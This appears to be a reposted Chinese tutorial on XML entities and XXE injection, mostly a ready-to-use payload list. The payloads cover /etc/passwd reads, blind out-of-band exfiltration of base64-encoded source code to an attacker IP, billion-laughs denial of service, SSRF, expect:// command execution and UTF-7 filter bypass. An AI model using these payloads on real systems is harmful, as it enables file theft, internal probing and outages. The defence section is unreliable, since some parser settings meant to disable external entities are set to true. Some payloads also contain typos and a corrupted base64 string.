XXE


XML基礎知識

<!--XML聲明-->
<?xml version="1.0"?>

<!--DTD-->
<!DOCTYPE note [  <!--根元素定義-->
  <!ELEMENT note (to,from,heading,body)>
  <!--
    <!ELEMENT name type>
    type可以是EMPTY、#PCDATA、#CDATA、ANY、子元素
    PCDATA是會被解析器解析對文本
    CDATA是不會被解析器解析對文本
  -->
  <!ELEMENT to (#PCDATA)>
  <!ELEMENT from (#PCDATA)>
  <!ELEMENT heading (#PCDATA)>
  <!ELEMENT body (#PCDATA)>
]> 

<!--XML文檔元素-->
<note>
  <to>Person1</to>
  <from>Person2</from>
  <heading>Hello World!</heading>
  <body>Welcome to Cyber Security</body>
</note> 

實體

一般實體 參數實體
內部實體聲明方式 <!ENTITY 實體名 "文本內容"> <!ENTITY % 實體名 "文本內容">
外部實體聲明方式 <!ENTITY 實體名 SYSTEM "外部文件地址"> <!ENTITY % 實體名 SYSTEM "外部文件地址">
引用方式 &name; &name;
使用場景 XML文檔中 DTD中

內部一般實體

<!ENTITY email "88888@qq.com">

<!ENTITY correspondance "email:&email;">
<!ENTITY email "888888@qq.com"> 

注意:一般實體定義只能應用在另一個實體定義中,而不能在元素ELEMENT的定義中

外部一般實體

<!ENTITY correspondance "email:&email;">
<!ENTITY email "888888@qq.com">
<!ENTITY content SYSTEM "test323.txt">
]>

<person>
  <name>Jason</name>
  <addr>Shanghai</addr>
  &content;
</person>

test323.txt文件中的內容

<tel>18888888888</tel>
<br />
<email>&correspondance;</email>

內部參數實體

參數實體不能被應用在元素的聲明中,不能使用參數實體來定義元素,只有在外部DTD中參數實體才能被應用到元素的聲明當中。

1.xml文件中的內容

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE person SYSTEM "test.dtd">
<person>
  <name>Jason</name>
  <addr>Shanghai</addr>
  <tel>18888888888</tel>
  <br />
  <email>888888@qq.com</email>
</person>

test.dtd文件中的內容

<?xml version="1.0" encoding="UTF-8"?>
<!ELEMENT person (name,addr,tel,br,email)>
<!ENTITY % end "(#PCDATA)">
<!ELEMENT name %end;>
<!ELEMENT addr %end;>
<!ELEMENT tel %end;>
<!ELEMENT br EMPTY>
<!ELEMENT email %end;>

外部參數實體

能將原來很長的DTD文檔拆分成很多很小的、相互調用的文檔集合,適合大型DTD文檔的設計開發。

1.xml文件中的內容

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE person [
  <!ELEMENT person (name,addr,tel,br,email)>
  <!ENTITY % content SYSTEM "test.dtd">
  %content;
]>
<person>
  <name>Jason</name>
  <addr>Shanghai</addr>
  <tel>18888888888</tel>
  <br />
  <email>888888@qq.com</email>
</person>

test.dtd文件中的內容

<?xml version="1.0" encoding="UTF-8"?>
<!ELEMENT name (#PCDATA)>
<!ELEMENT addr (#PCDATA)>
<!ELEMENT tel (#PCDATA)>
<!ELEMENT br EMPTY>
<!ELEMENT email (#PCDATA)>

XXE基礎

概述

XXE(XML External Entity Injection)是一種針對XML終端實施的外部實體注入攻擊,漏洞產生的根本原因就是在XML1.0標准中引入了ENTITY這個概念,且ENTITY可以在預定義的文檔中進行調用,XXE漏洞就是通過實體的標識符訪問本地或者遠程內容。

XXE攻擊要素

  • 需要在XML的Payload中包含外部實體聲明

  • 服務端對用戶輸入檢查不嚴格

  • 服務器本身允許實體擴展

XXE漏洞成因

太相信用戶輸入,把用戶輸入的XML格式數據直接解析,造成XXE漏洞。

**InputStream xml=request.getInputStream();**
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = factory.newDocumentBuilder();
InputSource is = new InputSource(xml);
Document doc = builder.parse(is);
Element element = doc.getDocumentElement();
NodeList nodes = element.getChildNodes();
for (int i = 0; i < nodes.getLength(); i++) {
  Boolean xmlUpdate = new XMLhandle(nodes.item(i).getNodeName(),nodes.item(i).getFirstChild().getNodeValue().toString());
} 

XXE漏洞挖掘

漏洞利用方式

  • 文件讀取(本地文件讀取)

  • 文件包含(遠程文件包含)

  • 列目錄(列出服務器目錄有哪些文件)

  • SSRF(內網探測、內網漏洞利用)

  • 執行命令(依賴於PHP環境下的expect擴展)

判斷是否存在XXE測試點

最直接的方法就是抓包,然后修改HTTP請求方法,修改Content-Type頭部字段,查看返回包的相應,看看程序是否解析了發送的內容,一旦解析了,那么有可能存在漏洞。

判斷是否支持外部實體

判斷是否支持外部實體的方法比較簡單,就是構造加載外部實體的Payload,然后查看是否成功加載,代碼如下:

<?xml version="1.0" encoding="UTF-8">
<!DOCTYPE ANY [
  <!ENTITY % shit SYSTEM "http://yourhost/evil.xml">
  %shit;
]>

libxml2.9.1及以后,默認不解析外部實體,可以使用 phpinfo()查看libxml2的版本信息。

有回顯讀取文件

如果在一個數據包中,發現了XML的特征后,那么只能是懷疑此處可能通過XML進行數據傳輸。在數據包中輸入以下代碼進行驗證

<test>XXXXXX</test>

如果返回200不報錯,並有返回結果。則可以確定此處是通過XML進行傳輸的。可以輸入以下代碼嘗試進行文件讀取。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [
  <!ENTITY xxe SYSTEM file://etc/passwd>
]>
<xxe>&xxe;</xxe>

無回顯XXE

我們先在Kali上開啟apache服務,然后將下面的Payload發送過去

<?xml version="1.0"?>
<!DOCTYPE test [
  <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=C:/phpStudy/PHPTutorial/WWW/php_xxe/doLogin.php">
  <!ENTITY % dtd SYSTEM "http://192.168.61.130/evil.xml">
  %dtd;
  %send;
]>

evil.xml中的內容如下

<!ENTITY % payload "<!ENTITY &#x25; send SYSTEM 'http://192.168.61.130/?content=%file;'> %payload;

然后我們查看下apache的訪問日志(tail -f /var/log/apache2/access.log)然后我們就能看到apache的訪問請求,content參數的內容即為編碼后的doLogin.php的代碼

XML可用的外部實體類型

libxml2 PHP Java .Net
file
http
ftp
file
http
ftp
php
compress.zlib
compress.bzip2
data
glob
phar
http
https
ftp
file
jar
netdoc
mailto
gopher *
file
http
https
ftp

Payload列表

文件讀取 / 文件泄漏

<!--?xml verison="1.0" ?-->
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file://etc/shaodw">]>
<userInfo>
  <firstName>John</firstName>
  <lastName>&ent;</lastName>
</userInfo>


<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<foo>&xxe;</foo> 

有回顯的情況下使用。

DOS攻擊

<!--?xml version="1.0" ?-->
<!DOCTYPE lolz [<!ENTITY lol "lol"><!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">]>
<tag>&lol9;</tag>

無回顯本地文件包含

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY % xxe SYSTEM "file:///etc/passwd">
<!ENTITY blind SYSTEM "https://www.example.com/?%xxe;">]>
<foo>&blind;</foo>

加載資源受限情況

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY ac SYSTEM "php://filter/read=convert.base64-encode/resource=http://example.com/viewlog.php">
]>
<foo><result>&ac;</result></foo>

PHP語言以上Payload可以繞過資源受限情況加載外部資源

SSRF服務器請求

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "https://www.example.com/text.txt">]><foo>&xxe;</foo>

遠程文件XML包含

<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY test SYSTEM "https://example.com/entity1.xml">]>
<lolz><lol>3..2..1..&test;<lol></lolz>

Base64編碼

<!DOCTYPE test [
<!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzo3dk">]>
<foo>&init;</foo>

利用SOAP協議進行探測攻擊

利用SOAP格式可進行SSRF攻擊

<soap:Body>
  <foo>
    <![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]>
  </foo>
</soap:Body>

利用SVG協議執行命令

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
  <image xlink:href="expect://ls"></image>
</svg>

關鍵字過濾如ENTITY情況繞過

<!DOCTYPE ANY [
  <!ENTITY f SYSTEM "file:///etc/passwd"
]>
<x>&f;</x>

變成下面這樣子

<?xml version="1.0" encoding="utf-7"?>
+ADwAlQ-DOCTYPE ANY +AFs-
  +ADwAlQ-ENTITY f SYSTEM _ACl-file:///etc/passwd+AClAPg-
+AF0APg-
+ADw-x+AD4AJg-f+ADsAPA-/x+AD4- 

關鍵字過濾用UTF-7編碼繞過bypass

繞過無法引用外部實體

<?xml version="1.0"?>
<root xmlns:xi="http://www.w3.org/2001/XInclude">
  <xi:include href="file:///etc/passwd" parse="text"/>
</root>

當libxml2版本高於2.9.1時,默認無法引用外部實體,可嘗試XXE文件包含攻擊。

其他Payload

請參考:XXE Payloads

XXE防御

  • 過濾用戶輸入的XML數據(關鍵字:<!DOCTYPE<!ENTITYSYSTEM等)

  • 設置解析器參數,禁用外部實體

禁用DTDs(doctypes),幾乎可以防御所有XML實體攻擊
reader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);

如果不能禁用DTDs,可以使用下面兩項(必須同時存在)
reader.setFeature("http://xml.org/sax/features/external-general-entities", false); // 防止外部普通實體攻擊
reader.setFeature("http://xml.org/sax/features/external-parameter-entities", true); // 防止外部參數實體攻擊

禁用外部DTD
reader.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", true); 
  • 使用開發語言提供的禁用外部實體的方法

    • PHP

      libxml_disable_entity_loader(true);
      
    • Python

      from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
      

靶場環境

XXE靶場源碼:XXE-Lab


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM